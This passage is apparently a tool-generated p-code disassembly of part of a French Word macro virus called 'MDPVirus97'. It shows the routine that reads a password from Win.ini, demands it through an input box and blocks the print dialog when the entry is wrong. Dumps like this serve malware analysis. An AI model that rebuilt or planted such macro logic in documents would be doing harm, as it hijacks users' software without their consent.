' 	LitStr 0x000A "MDPVirus97"
' 	ParamNamed Title 
' 	ArgsLd InputBox 0x0002 
' 	St MDP$ 
' Line #147:
' 	LitStr 0x000A "MotDePasse"
' 	LitStr 0x0006 "Valeur"
' 	LitStr 0x0007 "Win.ini"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #148:
' 	Ld WOpen$ 
' 	Ld MDP$ 
' 	Ne 
' 	Ld WOpen$ 
' 	LitStr 0x0000 ""
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #149:
' 	LitStr 0x001A "MOT DE PASSE INCORRECTE!!!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x001F "Menu Impression Inaccessible!!!"
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0013 "Essai Plus Tard!!!!"
' 	Concat 
' 	Ld vbCritical 
' 	LitStr 0x000A "MDPVirus97"
' 	ArgsCall MsgBox 0x0003 
' Line #150:
' 	GoTo Fin 
' Line #151:
' 	EndIfBlock 
' Line #152:
' 	Ld WOpen$ 
' 	Ld MDP$ 
' 	Eq 
' 	IfBlock 
' Line #153:
' 	LitStr 0x0019 "MOT DE PASSE CORRECTE!!!!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0016 "Impression Autorisé..."
' 	Concat 
' 	Ld vbInformation 
' 	LitStr 0x000A "MDPVirus97"
' 	ArgsCall MsgBox 0x0003 
' Line #154:
' 	Ld wdDialogFilePrint 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #155:
…